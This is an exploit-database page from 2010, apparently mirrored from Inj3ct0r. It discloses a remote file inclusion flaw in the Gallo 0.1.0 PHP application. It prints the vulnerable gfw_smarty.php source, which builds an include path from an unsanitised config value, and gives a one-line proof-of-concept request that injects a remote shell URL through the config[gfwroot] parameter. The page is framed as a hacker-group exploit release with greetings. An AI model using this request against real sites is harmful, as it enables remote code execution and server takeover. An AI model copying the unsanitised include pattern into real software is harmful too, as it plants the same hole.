Home / os / win7

Gallo 0.1.0 Remote File Include Vulnerability

Posted on 03 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Gallo 0.1.0 Remote File Include Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=============================================
Gallo 0.1.0 Remote File Include Vulnerability
=============================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /'             __  /'__`        / \__  /'__`                   0
0  /\_,     ___   /\_/\_      ___  ,_/ /   _ ___           1
1  /_/  /' _ ` / /_/_\_&lt;_  /'___  /    /`'__          0
0       / /    /   / \__/  \_  \_   /           1
1       \_ \_ \_\_   \____/ \____\ \__\ \____/ \_           0
0       /_//_//_/ \_ /___/  /____/ /__/ /___/  /_/           1
1                   \____/ &gt;&gt; Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
 
                            #'#/
                            (-.-)
   --------------------oOO---(_)---OOo-------------------
   |    Gallo 0.1.0 Remote File Include Vulnerability   |
   |      (works only with magic_quotes_gpc = off)      |
   ------------------------------------------------------
[!] Discovered: cr4wl3r &lt;cr4wl3r[!]linuxmail.org&gt;
[!] Homepage: http://h4ckb0x.org/
[!] Download Script: http://sourceforge.net/projects/gallo/
[!] Remote: yes
 
[!] Greetz: All member inj3ct0r.com, manadocoding.net, sekuritionline.net, gcc.web.id
[!] Thanks to: str0ke, opt!x hacker, xoron, cyberlog, irvian, antihack, angky.tatoki,
           EA ngel, zvtral, s4va, bL4Ck_3n91n3, untouch, team_elite, zreg, mywisdom,
           SENOT, devilbat, kec0a, d3viln3t, p4p4y, cybertomat, etaxCrew, emen, and all my friend
 
[!] Code [gfw_smarty.php]:
 
&lt;?php
/**
 * @filename index.php
 * @author Carlos Eduardo Sotelo Pinto
 * @date 2009-01-08
 */
include ($config['gfwroot'] . 'libs/smarty/Smarty.class.php');
class GfwSmarty extends Smarty {
    function GfwSmarty () {
        global $config;
        $this-&gt;Smarty();
 
        $this-&gt;template_dir  = $config['approot'] . 'sites/main/templates/';
        $this-&gt;compile_dir   = $config['approot'] . 'compiles/';
        $this-&gt;config_dir    = $config['approot'] . 'configs/';
        $this-&gt;cache_dir     = $config['approot'] . 'cache/';
        $this-&gt;compile_check = $config['compile'];
        $this-&gt;force_compile = $config['compile'];
        $this-&gt;caching       = $config['caching'];
        $this-&gt;assign('app_name', 'Maps');
    }
}
?&gt;
 
[!] PoC:
 
[x] [Gallo_path]/core/includes/gfw_smarty.php?config[gfwroot]=[Shell]


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-03]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :